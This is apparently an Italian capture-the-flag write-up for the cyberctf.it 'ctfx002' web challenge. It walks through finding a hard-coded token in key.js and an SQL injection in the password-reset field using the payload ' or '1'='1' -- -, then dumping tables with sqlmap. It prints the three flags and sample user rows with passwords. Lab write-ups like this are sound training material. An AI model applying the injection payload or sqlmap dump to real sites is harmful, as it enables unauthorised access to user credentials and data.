Scansioniamo con ZAP / Burp il link https://www.cyberctf.it/ctfx002/

Troviamo sotto la cartella /js il file key.js che contiene il token per accedere all'area riservata

```
var generate = function (input) {
      if(input=='key') {
        console.log('XZA0Y-JBY38-49YOP-OG413');   <----------------------
      }
}
```

Accediamo all'area riservata e otteniamo la primo flag

c7a489ec131a3838e55044071b96cd6e

Analizzando la funzione per il recupero della password notiamo che inserendo ' viene generato
un errore di sintassi SQL

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

inseriamo il payload pippo@pluto.com' or '1'='1' -- -

e otteniamo la seconda flag

```
113, Beverly Searle, b$$4ss276548
114, Jaye Sanders, dfds4s$$s36546
115, Eliot Marquez, bcx4s$s3348
116, CTF-LEVEL2, eba6234f5c59fa531d7e49cb8ec963fc   <----------------
117, Sally Mitchell, xcvss876765
118, Gerard Mcknight, jlx4ss55665
```

Usando sqlmap sul link

https://www.cyberctf.it/ctfx002/index.php?email=pippo%40pluto.com&p=pass-reset

ed eseguendo il dump delle tabelle otteniamo la terza flag

```
| 32801 | Orlando             | denise@patak.org                        | FL
| 90210 | Beverly Hills       | louvenia.beech@beech.com                | CA
| 33511 | Brandon             | audry.yaw@yaw.org                       | FL
| 79925 | El Paso             | FLAG: d87f6cb94a3e9a847e9f5dcbf91d2fdb | TX
| 92020 | El Cajon            | vzepp@gmail.com                         | CA
| 20710 | Bladensburg         | egwalthney@yahoo.com                    | MD
```

FLAG: d87f6cb94a3e9a847e9f5dcbf91d2fdb